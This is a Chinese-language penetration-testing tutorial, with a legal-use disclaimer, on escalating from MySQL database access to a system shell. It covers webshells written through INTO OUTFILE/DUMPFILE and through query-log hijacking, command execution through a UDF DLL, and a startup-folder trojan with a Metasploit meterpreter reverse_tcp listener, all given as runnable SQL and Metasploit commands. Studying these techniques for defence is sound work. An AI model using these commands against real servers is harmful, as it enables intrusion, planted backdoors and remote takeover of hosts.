使用的工具:
- SQLMap
- DBeaver
数据库
- SQLServer(MSSQL)
- MySQL
前言
本文主要介绍总结MySQL和SQLServer这两个常见的数据库的提权方法(不涉及SQLMap)仅通过SQL → Shell,所以不会介绍通过SQL进行USER → ROOT的提权方式。MySQL自不必说,SQLServer在政府部门或教育部门的保有量还是相当可观的。本文结合主流的命令执行和写入WebShell的提权方式,并结合不同的适用常见。
文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
MySQL
outfile和dumpfile GetShell
- 条件:
- 需要Web目录写入权限
- 需要数据库DBA权限
- 已知晓绝对路径
- secure-file-priv允许写入Web目录(如上述条件符合,但无secure-file-priv,见日志写入方法)
需要特别注意的是 secure-file-priv,他是MySQL中的一个系统变量,可以在 my.ini 中设置,用于限制 load data、select ... into outfile/dumpfile、load_file() 中的写入操作,仅允许写入其设定的目录。
当 secure_file_priv 的值为空,表示不对MySQL的导入或导出做限制,如果为 NULL,表示MySQL不允许导入导出,如果 my.ini 中不存在这一项则默认为 NULL 。在 mysql 5.6.34 版本以后 secure_file_priv 的值默认为NULL
可以通过如下指令查看 secure_file_priv 的值:
show variables like 'secure_file_priv';
我这里使用的是 Mysql 5.7.26 故此处在非认为更改默认为NULL。为了方便后续演示,我先在my.ini中添加"secure_file_priv="(注意修改后需要重启MySQL)
在设置完成后,通过 outfile 或 dumpfile 来写入WebShell到Web可访问路径下即可。
# outfile
select '<?php phpinfo(); ?>' into outfile 'E:\\phpstudy_pro\\WWW\\test\\upload\\phpinfo.php';
# dumpfile
select '<?php phpinfo(); ?>' into dumpfile 'E:\\phpstudy_pro\\WWW\\test\\upload\\phpinfo.php';
可以观察到文件已经上传到目标主机,最后就是看是否可以正常访问
DumpFile和OutFile区别如下:
- DumpFile
- 功能:将查询结果的单行数据写入文件
- 不添加任何分隔符或换行符
- OutFile
- 功能:将查询结果的多行数据写入文件
- 允许指定字段和行的分隔符
联合注入
# outfile
select * from user where id=1 union select 1,'<?php phpinfo(); ?>' into outfile <导出位置>
# dumpfile
select * from user where id=1 union select 1,'<?php phpinfo(); ?>' into dumpfile <导出位置>
非联合注入
- FIELDS TERMINATED BY
- 作用:指定字段之间的分隔符。
- LINES TERMINATED BY
- 作用:指定行之间的分隔符。
# outfile
select * from user where id=1 into outfile <导出位置> fields terminated by '<?php phpinfo();?>'
select * from user where id=1 into outfile <导出位置> lines terminated by '<?php phpinfo();?>'
# dumpfile
select * from user where id=1 into dumpfile <导出位置> fields terminated by '<?php phpinfo();?>'
select * from user where id=1 into dumpfile <导出位置> lines terminated by '<?php phpinfo();?>'
日志文件GetShell
- 条件:
- 需要Web目录写入权限
- 需要数据库DBA权限
- 已知晓绝对路径
- 存在堆叠注入
首先在MySQL中存在以下几种日志形式:
- 错误日志
- 查询日志
- 慢查询日志
- 二进制日志
- 中继日志
我们需要用日志来写WebShell,首先得确定日志内容是可控的,不然也就无法确定到底写入了什么进日志。在上述几种形式中,查询日志、慢查询日志和二进制日志。二进制日志需要手动在 my.ini 中开启,这里就略过。
查询日志
查询日志记录客所有客户端连接和断开和执行的SQL语句
由于需要修改MySQL全局设置,请务必通过如下指令事先查询默认设置,并进行谨慎更改
show variables like '%general%';
- general_log
- 此处为当前查询日志状态,默认为OFF,需要手动打开,打开后开始记录查询日志
- general_log_file
- 此处为查询日志保存的位置
我们需要在日志文件中写入一句话木马,放入Web文件夹中,首先需要修改日志文件保存的位置
set global general_log_file = 'E:\\phpstudy_pro\\WWW\\test\\upload\\phpinfo.php';
然后开启日志记录
set global general_log = on;
此时目标路径下会立刻生成一个 phpinfo.php 这是我们刚刚设置的文件名。但此时文件内不会有任何东西,知道执行查询语句,查询日志才会写入查询内容。
所以接下来随便执行一条存在载荷的查询语句即可,例如:
select '<?php phpinfo();?>';
此时文件中就会作为日志写入我们刚刚的文件中,如下
最后关闭查询日志,并恢复原设置
set global general_log = OFF;
set global general_log_file = 'E:\\phpstudy_pro\\Extensions\\MysQL5.7.26\\data\\WIN-622VTPC9KF2.1og';
尝试访问一下目标位置
SQL语句
show variables like '%general%';#查询状态和默认保存位置
set global general_log_file = <保存位置>;#设置保存位置为可访问的Web路径
set global general_log = on;#开启查询日志记录
select <代码>;#执行查询语句
set global general_log = OFF;#关闭查询日志记录
set global general_log_file = <保存位置>;#恢复原位置
慢查询日志
慢查询日志记录执行时间超过 long_query_time 设置的SQL语句,long_query_time 默认为10秒。
可以通过如下语句查询或修改 long_query_time
由于需要修改MySQL全局设置,请务必通过如下指令事先查询默认设置,并进行谨慎更改
show global variables like '%long_query_time%';#查看默认事件
set global long_query_time = <时间>;#修改默认事件 不建议修改
慢查询日志基本的流程和上述的查询日志写入流程基本一致,但需要注意在执行查询语句时添加延迟操作,让查询语句超时完成,否则不会慢查询不会进行记录
set global slow_query_log_file='E:\\phpstudy_pro\\WWW\\test\\upload\\phpinfo.php';#修改保存位置
set global slow_query_log=on;#开启记录
然后执行查询语句,注意添加延迟,默认触发时间是10秒,这边是直接sleep(11),让查询延迟11秒执行即可
select '<?php phpinfo(); ?>' or sleep(11)
写入完成,验证执行
最后恢复原设置即可
SQL语句
show variables like '%slow_query_log%';#查询状态和默认保存位置
set global slow_query_log_file = <保存位置>;--修改日志文件路径
set global slow_query_log = on;#开启记录
select <代码> or sleep(11);#延迟执行查询
set global slow_query_log = OFF;#关闭查询日志记录
set global slow_query_log_file = <保存位置>;#恢复原位置
UDF命令执行
- 条件:
- 需要数据库DBA权限
- 存在堆叠注入
- secure-file-priv允许写入
UDF.dll/UDF.SO 是基于MySQL的⽤户⾃定义函数,的一个实现了命令执行的自定义函数。我们可以通过载入UDF.dll/UDF.SO来执行其中的 sys_eval 函数来执行系统命令
所以理论上只要是允许载入自定义函数的数据库都可以使用 UDF.dll/UDF.SO 来执行系统命令,比如 PostgreSQL
需要注意的是自定函数的dll文件必须放置在MySQL的 lib\plugin 目录中,我们需要用到之前的 dumfile 来写入文件,所以自然也需要 secure-file-priv 允许写入
首先我们需要确认目标主机的架构,然后根据架构选择UDF,我们可以通过如下指令确定架构:
show variables like '%compile%';
这里我们就需要给目标上传一个64位的UDF.DLL,这里推荐一个网站
你可以在此处查询到对应UDF的十六进制码,方便我们后续进行写入
接下来需要确认目标数据库的 lib\plugin 的绝对路径
show variables like 'plugin%';
写入UDF.DLL,这里可以直接借助我们上面给的网站,复制对应的UDF指令,然后更改对应位置即可
SELECT 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000... into dumpfile 'E:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll';
写入完成之后载入udf函数
create function sys_eval returns string soname 'udf.dll';
载入成功后可以尝试使用 sys_eval 来执行系统指令
select sys_eval('whoami');
启动项提权
- 条件:
- 需要目标目录写入权限
- 需要数据库DBA权限
- 存在堆叠注入
- secure-file-priv允许写入
启动项提权顾名思义,我们可以将我们的恶意程序通过 dumpfile 写入 启动目录 中,Windows不同版本的启动路径如下:
- Windows Server 2003
- C:\Documents and Settings\All Users\Start Menu\Programs\Startup
- Windows Server >= 2008
- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
当目标主机重新启动后会自动执行我们在启动目录中存放的程序,所以使用这种方式需要等待较长时间,等待对方主机上线
我们这里先使用Msfvenom生成一个木马程序,当然用CS或者其他远控软件类似。这里我使用 Msfvenom-UI 来快速生成木马程序
github:Mangofang/Msfvenom-UI: 图形化Msfvenom指令生成工具
生成完成后提取十六进制码,通过 dumpfile 上传到启动目录
SELECT 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000... into dumpfile 'C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\test.exe';
然后用msf开启监听,并重启主机
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.2.145
set lport 8888
run
成功上线
此外利用MySQL提权的方式还有利用CVE-2016-6662、CVE-2016-6663、CVE-2016-6664漏洞进行提权,但需要提权获取WebShell,不属于从SQL → Shell的内容,故此处不再赘述
Comments NOTHING